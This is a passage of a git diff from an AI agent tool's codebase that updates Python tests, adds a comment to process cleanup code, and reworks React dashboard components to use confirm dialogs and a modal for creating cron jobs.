TestFindGatewayPidsExclude: profile_dir.mkdir(parents=True) monkeypatch.setattr(gateway_cli, "is_windows", lambda: False) monkeypatch.setattr(gateway_cli, "get_hermes_home", lambda: profile_dir) + # Bypass /proc scan so the subprocess (ps) fallback is used + _real_isdir = os.path.isdir + monkeypatch.setattr("os.path.isdir", lambda p: False if p == "/proc" else _real_isdir(p)) + monkeypatch.setattr(gateway_cli, "_get_ancestor_pids", lambda: {999}) def fake_run(cmd, **kwargs): return subprocess.CompletedProcess( diff --git a/tests/run_agent/test_async_httpx_del_neuter.py b/tests/run_agent/test_async_httpx_del_neuter.py index e616ea23acb..e91102288c0 100644 --- a/tests/run_agent/test_async_httpx_del_neuter.py +++ b/tests/run_agent/test_async_httpx_del_neuter.py @@ -182,7 +182,7 @@ class TestClientCacheBoundedGrowth: _get_cached_client, ) - key = ("test_replace", True, "", "", "", (), False) + key = ("test_replace", True, "", "", "", (), False, "") # Simulate a stale entry from a closed loop old_loop = asyncio.new_event_loop() diff --git a/tests/run_agent/test_provider_parity.py b/tests/run_agent/test_provider_parity.py index 8eb7478b414..f97885a0382 100644 --- a/tests/run_agent/test_provider_parity.py +++ b/tests/run_agent/test_provider_parity.py @@ -945,7 +945,8 @@ class TestAuxiliaryClientProviderPriority: monkeypatch.delenv("OPENROUTER_API_KEY", raising=False) from agent.auxiliary_client import get_text_auxiliary_client with patch("agent.auxiliary_client._read_nous_auth", return_value={"access_token": "nous-tok"}), \ - patch("agent.auxiliary_client.OpenAI") as mock: + patch("agent.auxiliary_client.OpenAI") as mock, \ + patch("hermes_cli.models.get_nous_recommended_aux_model", return_value=None): client, model = get_text_auxiliary_client() assert model == "google/gemini-3-flash-preview" diff --git a/tests/test_ctx_halving_fix.py b/tests/test_ctx_halving_fix.py index 0dd3ca4e7eb..afeee84878c 100644 --- a/tests/test_ctx_halving_fix.py +++ b/tests/test_ctx_halving_fix.py @@ -169,6 +169,7 @@ class TestEphemeralMaxOutputTokens: agent.reasoning_config = None agent._is_anthropic_oauth = False agent._ephemeral_max_output_tokens = None + agent._use_long_lived_prefix_cache = False compressor = MagicMock() compressor.context_length = 200_000 diff --git a/tests/tools/test_vision_native_fast_path.py b/tests/tools/test_vision_native_fast_path.py index fce3772de8e..1df3003e5cd 100644 --- a/tests/tools/test_vision_native_fast_path.py +++ b/tests/tools/test_vision_native_fast_path.py @@ -157,8 +157,14 @@ class TestHandleVisionAnalyzeFastPath: from agent.auxiliary_client import set_runtime_main, clear_runtime_main set_runtime_main("openrouter", "anthropic/claude-opus-4.6") try: - coro = _handle_vision_analyze({"image_url": str(img), "question": "?"}) - result = asyncio.get_event_loop().run_until_complete(coro) + # Mock decide_image_input_mode to always return "native" so the + # fast path fires regardless of model-catalog state in CI. + with patch( + "agent.image_routing.decide_image_input_mode", + return_value="native", + ): + coro = _handle_vision_analyze({"image_url": str(img), "question": "?"}) + result = asyncio.get_event_loop().run_until_complete(coro) finally: clear_runtime_main() diff --git a/tools/process_registry.py b/tools/process_registry.py index 8bbe1f56b7c..405abc04a3c 100644 --- a/tools/process_registry.py +++ b/tools/process_registry.py @@ -585,7 +585,7 @@ class ProcessRegistry: try: if not _IS_WINDOWS: try: - os.killpg(os.getpgid(proc.pid), signal.SIGKILL) + os.killpg(os.getpgid(proc.pid), signal.SIGKILL) # windows-footgun: ok — guarded by _IS_WINDOWS check above except (ProcessLookupError, PermissionError, OSError): proc.kill() else: diff --git a/web/src/App.tsx b/web/src/App.tsx index 7e1ca19f134..d7239c2ad11 100644 --- a/web/src/App.tsx +++ b/web/src/App.tsx @@ -473,7 +473,7 @@ export default function App() { >
diff --git a/web/src/components/OAuthProvidersCard.tsx b/web/src/components/OAuthProvidersCard.tsx index 6877207f8de..987f4c0eeef 100644 --- a/web/src/components/OAuthProvidersCard.tsx +++ b/web/src/components/OAuthProvidersCard.tsx @@ -20,6 +20,7 @@ import { CardTitle, } from "@/components/ui/card"; import { Badge } from "@nous-research/ui/ui/components/badge"; +import { ConfirmDialog } from "@/components/ui/confirm-dialog"; import { OAuthLoginModal } from "@/components/OAuthLoginModal"; import { useI18n } from "@/i18n"; @@ -55,6 +56,8 @@ export function OAuthProvidersCard({ onError, onSuccess }: Props) { const [loading, setLoading] = useState(true); const [busyId, setBusyId] = useState(null); const [loginFor, setLoginFor] = useState(null); + const [disconnectTarget, setDisconnectTarget] = + useState(null); const { t } = useI18n(); const onErrorRef = useRef(onError); @@ -74,10 +77,8 @@ export function OAuthProvidersCard({ onError, onSuccess }: Props) { }, [refresh]); const handleDisconnect = async (provider: OAuthProvider) => { - if (!confirm(`${t.oauth.disconnect} ${provider.name}?`)) { - return; - } setBusyId(provider.id); + setDisconnectTarget(null); try { await api.disconnectOAuthProvider(provider.id); onSuccess?.(`${provider.name} ${t.oauth.disconnect.toLowerCase()}ed`); @@ -236,7 +237,7 @@ export function OAuthProvidersCard({ onError, onSuccess }: Props) {
)} + setConfirmReset(false)} + onConfirm={executeReset} + title={t.config.confirmResetScope.replace( + "{scope}", + isSearching + ? t.config.searchResults + : prettyCategoryName(activeCategory), + )} + description={`This will reset ${ + (isSearching ? searchMatchedFields : activeFields).length + } field(s) to their default values.`} + destructive + confirmLabel={t.config.resetDefaults} + /> ); } diff --git a/web/src/pages/CronPage.tsx b/web/src/pages/CronPage.tsx index e994c96f270..78880adf0bc 100644 --- a/web/src/pages/CronPage.tsx +++ b/web/src/pages/CronPage.tsx @@ -1,5 +1,5 @@ -import { useCallback, useEffect, useState } from "react"; -import { Clock, Pause, Play, Plus, Trash2, Zap } from "lucide-react"; +import { useCallback, useEffect, useLayoutEffect, useState } from "react"; +import { Clock, Pause, Play, Plus, Trash2, X, Zap } from "lucide-react"; import { Badge } from "@nous-research/ui/ui/components/badge"; import { Button } from "@nous-research/ui/ui/components/button"; import { Select, SelectOption } from "@nous-research/ui/ui/components/select"; @@ -10,11 +10,13 @@ import type { CronJob } from "@/lib/api"; import { DeleteConfirmDialog } from "@/components/DeleteConfirmDialog"; import { useToast } from "@/hooks/useToast"; import { useConfirmDelete } from "@/hooks/useConfirmDelete"; +import { useModalBehavior } from "@/hooks/useModalBehavior"; import { Toast } from "@/components/Toast"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { Card, CardContent } from "@/components/ui/card"; import { Input } from "@/components/ui/input"; import { Label } from "@/components/ui/label"; import { useI18n } from "@/i18n"; +import { usePageHeader } from "@/contexts/usePageHeader"; import { PluginSlot } from "@/plugins"; function formatTime(iso?: string | null): string { @@ -80,11 +82,18 @@ export default function CronPage() { const [loading, setLoading] = useState(true); const { toast, showToast } = useToast(); const { t } = useI18n(); + const { setEnd } = usePageHeader(); - // New job form state + // New job modal state + const [createModalOpen, setCreateModalOpen] = useState(false); const [prompt, setPrompt] = useState(""); const [schedule, setSchedule] = useState(""); const [name, setName] = useState(""); + const closeCreateModal = useCallback(() => setCreateModalOpen(false), []); + const createModalRef = useModalBehavior({ + open: createModalOpen, + onClose: closeCreateModal, + }); const [deliver, setDeliver] = useState("local"); const [creating, setCreating] = useState(false); @@ -118,6 +127,7 @@ export default function CronPage() { setSchedule(""); setName(""); setDeliver("local"); + setCreateModalOpen(false); loadJobs(); } catch (e) { showToast(`${t.config.failedToSave}: ${e}`, "error"); @@ -181,6 +191,22 @@ export default function CronPage() { ), }); + // Put "Create" button in page header + useLayoutEffect(() => { + setEnd( + , + ); + return () => { + setEnd(null); + }; + }, [setEnd, t.common.create, loading]); + if (loading) { return (
@@ -213,86 +239,110 @@ export default function CronPage() { loading={jobDelete.isDeleting} /> - - - - - {t.cron.newJob} - - - -
-
- - setName(e.target.value)} - /> -
+ {/* Create job modal */} + {createModalOpen && ( +
e.target === e.currentTarget && setCreateModalOpen(false)} + role="dialog" + aria-modal="true" + aria-labelledby="create-cron-title" + > +
+ -
- -